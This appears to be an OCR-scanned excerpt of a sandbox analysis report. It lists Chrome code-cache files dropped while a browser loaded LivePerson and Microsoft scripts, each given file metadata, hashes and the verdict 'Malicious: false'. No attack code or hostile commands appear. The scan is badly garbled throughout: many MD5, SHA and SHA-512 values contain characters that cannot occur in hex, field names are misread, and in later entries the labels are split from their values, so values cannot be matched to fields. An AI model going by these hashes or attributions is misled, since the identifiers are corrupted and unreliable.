SHA-512: 935386A3C9C47947A07535E3BEE20397AA1E173E205B1D6A2ECT7A6FFFBC2FBFC6F63E9EAEI7A4CD3BFF058C70EC8E79568F94B860F46623B53F6881839BE299

Malicious: false

Preview:
O\r..m.......... {Z......_keyhttps://lpcdn.lpsnmedia.net/le_secure_storage/3.12.0.0-release_5037/storage.secure.min.js?loc=https%3A%2F%2Fpublisher.liveperson.net
&site=60270350&force=1&env=prod&isCrossDomain=true .https://liveperson.net/.U.5../............. Vieeoen Lju.~.T..h....O....l.,_k4|B.A.Eo....... [CTUR ALEO..ccoiii

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\6686b0c92e7fc912_0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 230

Entropy (8bit): 5.499674533498058

Encrypted: false

SSDEEP: 6:MiBEYL8vC7ZALSRTKVDMPWX34Sp74f2utlhK6t:v670c7ZZTKD/e+utl7

MDS5: F6E8147D73605A6CBB6F4DF04409E4BC

SHA1L: AEB727DBAE6EAFADD808563015618A2DF1566FF6

SHA-256: 5C1A6E58712F4FA19AA183BEEAAA2EAFC14D7A37AC1F258BB28ABDF2CEG41FA9

SHA-512: F362219EF6D711168619EEEF1AD9B783B1F5D62B806EFB3931756541B3F468844CF7A6A41DD55C45EF99BEA6435DD6D681C78E7196F674E180151E4324A6CD76

Malicious: false

Preview:
O\r.m.....b.......... _keyhttps://mem.gfx.ms/scripts/me/MeControl/10.21035.1/de-DE/meBoot.min.js .https://microsoft.com/.*.2../.................... L > H#L S LA LALA LB,
JOE- SO ALEO.cciiiie

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\6911ce7d6805bcdf 0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 335

Entropy (8bit): 5.694279905775393

Encrypted: false

SSDEEP: 6:m0QtVYcBB8LjFke/BDWDQIC8MKVmMLPVL7VNvuqY pblM3dnbhK6t:JQynN/hWDxC8mTpVNVUEb7

MDS5: 7BCA12A91E32FFOFB8AOBO5SAGF6627F9

SHA1L: 518BB2438982AB565A44209851BA3E3CED3B1959

SHA-256: 4EAOBE7B7598ECD5889B3D4785B1D8DD0O9CBEAS5E432AC4759D4BB02BAB11387

SHA-512: 9BCBD39C3716317E131EE4D76626CC8A5638AA277522E5DDDFD19A07A2A1C2778B15461DFA83D56CCDE38F862748034DAD2F4297417656F21C2671F806E2F9B

Malicious: false

Preview:
O\r..m.......... @.J....._keyhttps://accdn.lpsnmedia.net/api/account/60270350/configuration/le-campaigns/campaigns/1644274130/engagements/1644512430/revision/162
63?7v=3.0&cbh=Ip1644512430&flavor=dependency .https://liveperson.net/2..5../...........cc.c..... +GA A BH.L$ 0% LALEO. A.EO0..ccoiiiis

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\6ab11d413e2bdb41 0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 257

Entropy (8bit): 5.594738234868806

Encrypted: false

SSDEEP: 6:mOeVYbLjFCsWLIxqYy6Mxb9vpqY U/+aakEDck4ADK6t:mOn3Wfbvg/oTL1
MDS5: COEF14426C81635A2B20232782C9786A

SHA1L: 840721248F286D55E78B3A076BEALDI9A09A368D
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\6ab11d413e2bdb41 0

SHA-256:
SHA-512:
Malicious:

Preview:

DEEDD187F6B451D1501DE22F9F79AC22F64E14C425173E2CFG6D35AB2899EE4A2
0456DBB797C35A65792D458F7F42930A8EB4CD16380CF465E3EC26D52D3CE3D4B345AB11F9216456270EE2101D59922658C1DB96F1CF942CB5FDSBFEFB7EFOS

false

O\r..m.
Ly

_keyhttps://lpcdn.lpsnmedia.net/le_re/3.45.1.4-release_5061/jsv2/overlay.js?_v=3.45.1.4-release_5061 .https://liveperson.net/..5../........ccccccccune. wH.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\6b848a87f40dd230_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

209

5.4925830555972

false
3:m+lvw6v8RzYDCIWACBIsSWGKRUJG27zTT/oKORKNIHCsIIKNh6cnD4/Mmil1pK5kt:mewXYWFW7RPAvVORNsSNh6AqnGDK6t
DOB2A91C25E667CCA1AADOGEA53B773B

D963159B082632B8658CFF5BD4B3C2CB3716A691
DD66563E5789EC63556197E2F37BFESF7A7BBD2034058FOF6ABC1ABOB1055EF3

53DC5AAESBED703A2804C449F089B01DD41640D5531441FBDEFBE453FES55D603F3CE860C567F34DA75B1982B5232B4DBF2475843781E72073027AE9BAAACBB!
F

false

O\r..m......M....ZcW...._keyhttps://az725175.vo.msecnd.net/scripts/jsll-4.js .https://liveperson.net/.m.2../......................... XJ.2.x.b....K .ZQ...C]..T...A..E0.....T.D......... A..Eo

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\72090e93af2b3d0c_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

288

5.675319531918579

false
6:mjIXYcBB8LjFke/BDWDQIC8mx1SBfxVYXrNvGV1zzhnFK6t:ICnN/hWDxC8mxHvG V9t
A10F7CC54606FB5BF188C696046EF3CO
E33C663F418BF3ADFF3E77B3A62DEEOB8208EEES
262B21621DACF88B39FDBBOBE74C056B3F4B7F0675FF85E25D7359BF45E0341C

FAA3DB369B2AFEA896E56218F886DEBDCIADSFE91A79D0A0CE9CC1BC141BEBEE345F00579063D2C290BBFF26CF7368786BFASEED50167B2BEF53DDC1DELB
AQE2

false

_keyhttps://accdn.lpsnmedia.net/api/account/60270350/configuration/le-campaigns/zones?fields=id&fields=zoneValue&ch=IpZonesStaticCB .https:/livep
wFa @...uRV.%.b..k...V......... .. A.Eo....... [ ALEO.oiiii

erson.net/..4../

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\72c95bbf6fafcc43_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

269

5.618697337573192

false
6:mK2b/6EYCcBB8LjFke/BDWDQICWO0ZSVCJIPV28dIMYyP4pzbK6t:K2jnN/hWDXCxqC5wWIMYyPA
66B6971C7526AA3A826319CD78FA958D

E1DEBE8S3E74BCEFF711B73E244267B99632E71F5
02FD0B5217D2C35AAEB813E15A7AD95642D03591231FCE05347B9A71E6BOEEBS

B9C1916170CD94EE88F8C1DC4E3BD6B081EFABE3DD8FOE28DB3E4702030A5B2A0C6A24E6DB081A49D80D88532DFFDF50B0075577BFB453626FF6A53BFBEOAIL
36

false

_keyhttps://accdn.lpsnmedia.net/api/account/60270350/configuration/setting/accountproperties/?cb=lpCh15359x63345 .https://liveperson.net/..4../...
X..Jd.. .E..]LT....n..A.Eo...... Y ALEO..ccoiin

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\781980b07f1bb38f 0

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Program Files\Google\Chrome\Application\chrome.exe
data

dropped

8256

5.486652054955386

false
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\781980b07f1bb38f_0

SSDEEP: 192:YxwFBeOkeKByXBKd1PTww/ChVTCJUET4vK:YXx50q0oEd5wwaTGjvOvK

MDS5: 61E92EF6163D8D3CCC02845D8F01920E

SHA1L: 22F1F58DE6GE27093EA199132B1255BCDF4C58011

SHA-256: ABC15946C0B671B41CC4BF919B361A5002BDB54480A97FC41B0B9226F62F8DAL

SHA-512: DDDD9AD01116016A34672DD941C4EDDE11F112B6AC49FCC9B1D5C3C857AFD098F16DF4269FC2063D921A8DA739DF5E27399F5B2E94ADD68A59368A00DES69
E

Malicious: false

Preview:
O\r..m......x...0.v....._keyhttps://c.s-microsoft.com/en-us/CMSScripts/script.jsx?k=1a053411-4f63-d069-d3b8-11d5d 720eeb4 .https://microsoft.com/=l),../............. e 5..a..

..S...s5.0..80....F$.|3F.A..E0 .A..Eo .O..

edComponentKeyPress...E.@.-....hP......\...https://c.s-microsoft.com/en-us/CMSScripts/script.jsx ?k:
>..&..&...&(S..la.......... Qe..C\....ShowHighLight...E..A.d.. .&(S...la....(....,Qi*.y. ...SetRightSideNavigationMenuHeightE.d....)
{.....SetRightSideHeaderHeightE.d....!................ &.(S.....1ak.. u....$Qg6.1.....ShowSelectedComponent...E.d........

......... &(S...1al..M...$Qg..
D&.(S..Ja. 9ol

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\7b789c0299b8f7ee_0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 372

Entropy (8bit): 5.573293811126527

Encrypted: false

SSDEEP: 6:mPIgEYGLTDFSVjKy6cXBodLRIMattwdxQg2XChLpexvKDGvOyEcd3rH4yDK6t:GpDFajtxuLyHtKxv20LSKDUOE7HF

MDS5: 299D30A6BB8001F44C99F934E4954EE7

SHA1L: 4758ECAC35DAAA6D99DB149F80EA182315273E93

SHA-256: CDB76A5900D58694C564E836D9AC994D859A4FF1716COE1569DA5D76A0076940

SHA-512: 4D6523492C6747D6D9F398D1774AF943ECCE42934BD825DC8EAC873D26BA5198B263AC22F997138B8A24F1C9CB835CF3A04ACBBADB60677769BE9IC88AB6795
3

Malicious: false

Preview:
O\r..m........... m......_keyhttps://www.microsoft.com/mwf/jsIMWF_20210208_31270267/alert/areaheading/autosuggest/contentrichblock/divider/feature/featuregroup/g
lyph/heading/highlightfeature/image/list/pagebehaviors/skiptomain?apiVersion=1.0 .https://microsoft.com/.Z°2../............. Wi........ P...LP.kf.1}.,..9.....2..A..E0......... § PO A.
EOo

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\806da29bd455460d_0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data
Category: dropped
Size (bytes): 267
Entropy (8bit): 5.552860941576999
Encrypted: false
SSDEEP: 6:mhYcBB8LjFke/BDWDQICWO0ZSVCDazvAY Y/K2jni885/Q4htK6t:;jnN/hWDxCxqCDOVO/Kugz
MDS5: D6B680875BD81828D7D5B7EBASC7DB82
SHA1L: 79FFB51248AA2EB7042C9691BDOF62853744B09C
SHA-256: 41AF3452B735E8F3C34894234438B30FBABCF8F2C83CAE2A599796038F5A4766
SHA-512: B642A059F39E1506793BB1A043D182B0EBOD8F7ABFB777764138C4BF4CF64BDD9389132350D7F71511FC627C78DD8B2F3408C572DD820C6DBAFB0471066A318!
Malicious: false
Preview:
O\r.m

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\8f3c2e2c260a7099_0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 350

Entropy (8bit): 5.834662578281716

Encrypted: false

SSDEEP: 6:mXY14McTDsJegDO8MITrIENYchK6tThnRjXBhVjuQgVTrlEv35:e+TDsYgDjM13uvhX3c3o

MD5: 0769AD007074210D9D9I68A94A0AAITES

SHA1L: 02B586F16B056F5DC5094192EDC6A167E92E1494

SHA-256: 56C6D4E68493B8DBECD65FOD3A9ICEIEI16E347391342E85C2F11A38979149398

SHA-512: 8BE29B364F495876C3942252976CF8ED77EEBF3537EEF3267987DFDD30D8676E27534AC1FC98BE9396FEE1B0880B46D230789F88833117E2E2B69F95BCODFF69

Malicious: false

Preview:
O\r.m......V...|.L\...._keyhttps://wcpstatic.microsoft.com/mscc/lib/v2/wep-consent.js .https://microsoft.com/.., .C
WALEO. ',../.p8..DE3687B71DD92AE626355B47653FD8FAAADOBC86A7E26515DD61491C0OD1E3754....<.S
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\94ac35bc6015ee2c_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

257

5.666296054034422

false

6:mOgYbLjFCsWLIxgzxxb9vS9ulYfrweMadWvAWK6t:vn3WflvSEgMM8WvD
6C3407BEF946341057E28674CCA27465
B6400D8EE42FC94602A8DE8SFDE2F1F01A20F65B1
2591FD8767F9670E83E2342617407E64B7C3F54A2FF2E034E340A510055C7534
946FDC186D4977A631DAEDD7C8D06C99B32828E4CE0213440524426A9828855CB0594A8449DFDC2CF2BB8BOFF645AE09CD18733702A2E260ABA305D40616E4E

false

O\r..m. 6."

.%..q..[.t...u

_keyhttps://lpcdn.lpsnmedia.net/le_re/3.45.1.4-release_5061/jsv2/UISuite.js?_v=3.45.1.4-release_5061 .https://liveperson.net/.Q.5../.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\9a5575bef7c495dc_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

424

5.928844691629848

false
6:m0iYGLTDQYKfZ+ONNKM3IGRWmM8SIyD2HsAEtsU0Jf37q/IbK6t5V36YPHvaYa0J1:D6DQLjl4mxlyDgEtVM3Gr13nydM3vl
2E969A071EF06243C8D85394B2BA4B60

E908190215916A49699E34A3BAE2C9010EAB4847
76D8E6B637421A0D869510699E8591AEB246B37F78AAD3FE7406F8CF45D7AE20
072CD8B07422C453878637FC4E84C91DDEA36E21BFC62C7ES66E254418E75425EA13060319F2B059B13BIE6GA3FFF3373931D2972592B5A58E0ALE26A78406E24

false

O\r..m........... k@....._keyhttps://www.microsoft.com/onerfstatics/marketingsites-neu-prod/_h/46c44584/coreui.statics/externalscripts/jquery/jquery-3.3.1.min.js .https://
microsoft.com/.Eb2../.. A |.....C.J.,c%X.i.Y-....F..N.A..Eo.. ....Eb2../.8x..A4306 7TFOC6EFBAC2419FA9E7637FD41BE86559
OD9EBFAD571B600671381936CD.'|.....C..j.,c%X.i.Y-....F..N.A..Eo...

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\9cd657817e50f6a9_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

668

5.580574445700294

false
12:Hetu/hWDxCEbBscgYeH3AqgiXwucmL2Xen8meDywnQ4dZ1slynOR0dJdnNvZHvCEN:+tu/hWcSaHwgOwucmLHkykVdZsGJdnZx
6E2ED97356AB06FEA64F93425C52FCD3

3B60D3D6EES4AABD2468A482BFBC761C7868A971
75FB2A914BC06C27D2792F44FAFA5A65B6F8178B82B9013B2947EA86407EF2E9
E9A65703E33B80F489ED9723929276F7890EFC0434836F5DA49BCD163B5E48EF60F59873023E0D4D45E7C12EBO85A02CB35E29FB329DEAF7D11D1708222D04B1

false

O\r..m.......... Yereoeen _keyhttps://ptag.liveperson.net/Iptag/api/account/60270350/configuration/applications/taglets/.jsonp?v=2.0&df=0&byName=messaging_agent_availabili
ty&ct=IpSecureStorage%?2Clp_testingTool%2Clp_sdes%2Ccobrowse%2Cscraper%2Clp_ada_enhancements%2ClpActivityMonitor%2CrendererStub%2Clp_version_
detector%2Clp_external_js%2Clp_monitoringSDK%2ClpTransporter%2ClpUnifiedWindow%2CSMT%2Chooks%2Clp_SMT%2Cauthenticator%2CcleanCCPatterns%2Clp
_global_utils%2CunAuthMessaging%2CjsLoader&s=store-sales-de-ch&b=1&ch=lpCh59103x48798 .https://liveperson.net/../7../.. 1......79.ue]..c.z..w..f~F6.c.(..A

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\a30fc148fc1e2336_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

335

5.608671630627239

false
6:m08YcBB8LjFke/BDWDQIC8mMKYmMG2uyn025VNvF3//eqeAt6LK6t:JLNN/hWDxC8mTG1C5VNvFeetd
5FF1745BBC67B05BFD40CAABB92E433D

AD65BB2DICAAEB16791717EABBA735C893ADC642
E8394058D4E0693C205BCE40CD3F4B2E5B074F09031548E174CBEA1213F6C316

1453AA0602A12CDDCF50D5E04E1E498BA0A40BD6AD2AA3EB504A14138930C78A69B78C6F0AB8DI5C58605EA88663C0D15E07B74DC72433981F46ED8B288BF8!
2
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\a30fc148fc1e2336_0

Malicious:

Preview:

false
O\r..m. +.&y...._keyhttps://accdn.Ilpsnmedia.net/api/account/60270350/configuration/le-campaigns/campaigns/1768650730/engagements/1783836330/revision/162577?
v=3.0&cbh=Ip1783836330&flavor=dependency .https://liveperson.net/../7../............. 1.....m8.{.....[..VO.....9.x.....I.A..Eo........ Xevrreens ALEO..coiiii

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\c15539f7824102b7_0

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

284

5.648200288280977

false
6:minYcBB8LjFke/BDWDQICACJe15SZIWN39vtTScOwSygrpMK6t:enN/hWDxCACkeZY39vwcOwSpe
9EFA9170179FC79A570D4CD8426BB25D

DF3B9C140A4F079D246D868518FA150E23C71DC4
7DB071FF87BDB876318034FD87E10D5E3B288BE106650AC0090D5FDDCCO9DAEF

73874D86196F99A36CBBAABEGCC228B8D7D5D238BF82147C3907CAAEBG697E6B19C4684E00BA7116D5BCA2D505A097A748818C92B4D899BB80F19BA438A8A66
3

false

O\r..m. .._keyhttps://accdn.lpsnmedia.net/api/account/60270350/configuration/engagement-window/window-confs/1644511330?cb=IpCh59533x85467 .https:/
lliveperson.net/.,27..1............. 62......9 1B.g;6~.JP\E/t..z....f..4. ... ALEO...}oeoen A EO..ccciiin.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\ccadee8b0401689c_0

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

406

5.5357582661663125

false

12:aFDFaj9uLesKlITsMgTeqlrKDEMH6zuoh:aFhapEesthqTH1rKoMI
17FBBA8BF37AFB7BCBC1F8CD4319D536E
065336F14D49F2B8015125AA40048144B2D196F8
79F77A578437F2FEA89B968823D4B5531CDEE891DF67D50D7824697AF29927BC

A3048C12D8DC290F574307E9D31DE9609122C7DBEFB09A311DC886AEGC32F07078C4BB837B0C78A5D3FCF8B02D1CD3155221FA97048DDFCA736A9F5F85F2FC
5

false
OVecMecee _keyhttps://www.microsoft.com/mwf/js/MWF_20210208_31270267/alert/autosuggest/contentplacement/contentplacementitem/flipper/flyout/glyph/
heading/hero/heroitem/hyperlinkgroup/image/list/pagebehaviors/singleslidecarousel/skiptomain/social?apiVersion=1.0 .https://microsoft.com/...2../........ccccceeeeue g....re..G.\(

..8.>9.L.yVv......A..Eo... ..A.Eo...

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\e08eb03b7a449858 0

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

67544

5.695960510657057

false

768:x311WPrVhsodGm+fgHjQ4ciPHWXogkiY QNKIiBPiWVIPXcZp/FUjBHOgjEhVNn:x31yvNDQ4ceHWnTKizj/FIBHk
A76493F08C241EB7307F4A56EDC58BEB

D24CAD2F22011A0399CFEF7F3BBABADC60382C67
CFDCCC2891FA3DA5F6B3540CAOFIBD1AFC52FA65508D96B8A7426A4709B8A48F

B3161E640A8E8E8BD452D02F805BDDAD815DDD23CBBCCEYDD3D2B4D4480CC7BEF28B82D9409EED50378A2D55F8138ED4346F8AAE180FD67E25A82CD2C194
850

false

or.m.....@. F58214FBF9FD86593E03594008B79889573276C5F84F3068128E5F089EE4FQSB O (P Xevtrerreerronenns
(S..Q..0\ .. AL ...(L...(S...l;a......QeV.6...getQueryValue..E.@.-...... P... https /lc.s-microsoft.com/en-us/CMSScripts/script.jsx?
k 0502864a b6ef-2f14-9f8e- 267004d3a4e0 c5ea3348-55af-729a-2641-14f0312bacf3_742bd11f-3d7¢c-9955-3df5-f02b66689699_ch9d43d2-fhae-5b5¢c-827f-72166d6
b87fc_49488e0d-6ae2-5101-c995-f4d56443b1d8_7dea7b90-4334-c043-b252-9f132d19eel9_38aadffb-ddb5-75be-6536-a58628f435f5_e3e65a0a-c133-43e7-571d-
2293e03f85e6_4ca0e9dc-adde-17ba-f0de-d1d346ch99e2_06310cd8-41c6-3b11-4645-b4884789ed70_5c27e8aa-9347-969e-39ac-37a4de428a8d_d6872b5a-5310-a73c-
7cb3-227a3213alc5_be92d794-4118-193f-9871-58h72092a5ac_64c742e2-b29c-b6cl-fdd9-accf33ec40bd_cf2cecad-3467-a5b3-d095-68958eee6d4c_cec39dd8-f1d3-56f

1-abfc-a7db34ff7b46_ec5fa2c9-

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\e4b9b26cef092fbf 0

Process:
File Type:
Category:

C:\Program Files\Google\Chrome\Application\chrome.exe
data

dropped
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\e4b9b26cef092fbf 0

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

226

5.6107379360481

false

3:m+IbGRa8RzYLLI2P8kIRgEe0sAIsUVDFYtRDHGXAKfIHCq/OAVUI6tY 6GFGKRMOP:mcGRXYL8UdD2DINZqWA96dGfGhIK6t
4A65962B70897ED95008349ACC3DCFB2

D8EB068821FE2CED572144DF7188BDE21E2A561E
EE86CFACA26C013F8C3161309AB69EF13AFEE44ACIODFCEAADE79AELBEC8ABA42

D48778245B93136BF4C338BD5SFEB516C69A51990164EF87EEF7ED2B8155FB52082D6DCF90D3088E74D8A3A4AEBBD879ED929D37691A8AA0F6B2AA760E80CES!
9

false

O\r.m....
.6d..A..Eo....

...._keyhttps://mem.gfx.ms/meversion?partner=MSHomePage&market=de-ch&uhf=1 .https://microsoft.com/&..2../..

12D =#&

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\e8b2031716f41f1b_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

284

5.698255722686693

false
6:mq/XYcBB8LjFke/BDWDQICACJe15SZPyvVO9YkrzpQnorH4u5RK6t:z/CnN/hWDxCACkeZPyvWVO90nWx
041734A6C1DFF7F1548AE80D67288A5E

F2797DAF78D08BF7FOEF1D0ADC4D301C356C940E
1EA6172BF4BF5C08DFABABDDO7D90A8AAD0384DEO9A032FE18904D255BC5B6AE
CC8619065939C7931FE4FBBBAO4EEE214E62F367D39746BECD9768DFB6713F1CE359690367A84D773B230F6A89C3BI2FA26298FDE2F5620D55B59EF6DF6B59DI

false
OVecMeiee _keyhttps://accdn.lpsnmedia.net/api/account/60270350/configuration/engagement-window/window-confs/1644511330?cb=IpCh13192x67244 .https:/
Nliveperson.net/.i!5../.......ccccccoenenn & K.9.4m.NR.O./.G.....A..Eo0....... Vug......... A.EO0..ccoiiiis

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cachel\js\f2c2056a537001a5_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

567

5.529007666066719

false
12:RIsDQLFFhhBoKRtCOXUDjNC1Ngw9jMuwe9l1D1DWqy:n4hHhtCOXUDRCrMuFpD1gj
2C2E42D3FF64396A251AC96807E42674
14398621A19AFD396AB817BEFA72D8360D73F07B
B03D7319A835A93B4878FB0O3EDE787ABAE347557CC7594D9663B9CEC535BF214

AF33387D9028D9F1BDD811820AAE4C73AAD5D8F42C0A8C5BBDA350DDFBAFB1D9148B287190EDESIF9F40847B3DEIEDIEC27C205E521A6CALDEBBB84D003D
EFF

false

OVecMecee _keyhttps://www.microsoft.com/onerfstatics/marketingsites-neu-prod/licensing/_scrf/jsithemes=default/2f-63ce8f/2d-7a9063/dc-7e9864/4f-5115f8/7d-26
6f10/4a-abd94b/6d-c07eal/9d-b58f60/f6-aa5278/cd-23d3b0/6d-1e7ed0/b7-cadaa7/c4-898cf2/ca-40b7h0/4e-ee3a55/3e-f5¢39b/c3-6454d7/f9-7592d3/92-10345d/f8-73
abf2/79-499886/7e-cda2d3/69-13871c/b7-0ad59f/91-97a04f/1f-100dea/33-abe4df/17-f90efl/e3-082b89?ver=2.0&_cf=20210415 .https://microsoft.com/.._2../............. o
..

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\f46ad1d2652b0b43_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

350

5.909834744901179

false

6:mfYyK08fUH1DmMD2Jq5Efzr/8KBtEXgizkWQQG Sx/gi0zSZI5EfzrU:QKjfUH1DmMDIGEfGKXgi1X/gXS/5Ef
C685165362405C5776EDDE4C8812DD15

1DD9A938CE12106FF7928C5D6CB901DC71AD9148
960267866B035D6C6F65C682749EF87CC6E2EEC52F92AB453008253ECE2724A7
B78C81EE5A62B81F419838F53425C19C19BB6A5AA7473B83AC4B5535FE9193425BFCF4665B02007D1B6B6495493492F9854A8D50BE636E3E87E301DFD2EA9FSD

false
O\r.m......V...T......_keyhttps://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.2.min.js .https://microsoft.com/..",../............. T f....cB..cWhT..6..(..$....G..A.A.Eo0........0.....
W ALEO ',..1..q..17E447295F615C5ABB3C555E92F178E7028568E26E2B4609728240F4E6BE7D55f....cB..cWhT..6..(..$....G..A. A..E0..... X.V.L.......
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\f4b52f3407c83df3_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

295

5.638667995475461

false
6:m5YZYGLTDQYKfZ+OsFRzh+UXVZOfWEKD6dENdSS5L6qaWGr3/hK6t:dDQLsFhh+UFN1D6ESSt6h77
62F7038EDCAAE672160D3F01CA21D089

91C02CACE5B9A36A1D1288F20B5B5466715ABFC8
7EA2F5CF183A83AE416FFEF314B00FFD828A574F9CA6557ECB21D98D4F1623DE
07B2CBCF085C9D279B99C3A34C6997ECFF52BESE105609F5549D6E0B436F7F3C6CES5F9299F45120445FFEDE37D963033DE06F36F8D26D75269B70D5DFC963CF

false
O\r..m. _keyhttps://www.microsoft.com/onerfstatics/marketingsites-neu-prod/mscomhp/_scrf/js/themes=default/78-6f121b/94-3cd1e0?ver=2.0&_cf=20210415
.https://microsoft.com/...2../............. T s.F..7. -0 ] ALEo......... e A.EO0..cccoiiiis

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cacheljs\f8d72f35efba786a_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

297

5.695582933797149

false

6:mO9YGLTDQYKfZ+OkgFRzh+UXVZOfWEKDc2I/Y IwcGgYqdoyAvK6t:9XxDQLFFhh+UFN1D9/YGIk+
4BE39606C56713855B98D6A991C4AG6E

91425C6F980E361BAE72A439C436F823776C6848
34BC11A2BOCDD16FC53A7476E572FAC32C8BA27B5A98AFD708591B565F08904A

C2575DC1591DE3BBEY0507FCBD0216483FFFC1DCA914C53A0669B093CCBDC938CBFAS9D8BBAA78EBA843CC2C346287103E1B59ACFADF94AA12BD24527F5C
EF9

false

O\r..m. .a....._keyhttps://www.microsoft.com/onerfstatics/marketingsites-neu-prod/licensing/_scrf/js/themes=default/78-6f121b/94-3cd1e0?ver=2.0&_cf=20210415 .htt
ps://microsoft.com/.."2../............. Ul......Q.2)..gH.U#...IN7.5.W.. ..... A..Eo....... For ALEO..cooiiii

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cacheljs\ff3254c380ce1732_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

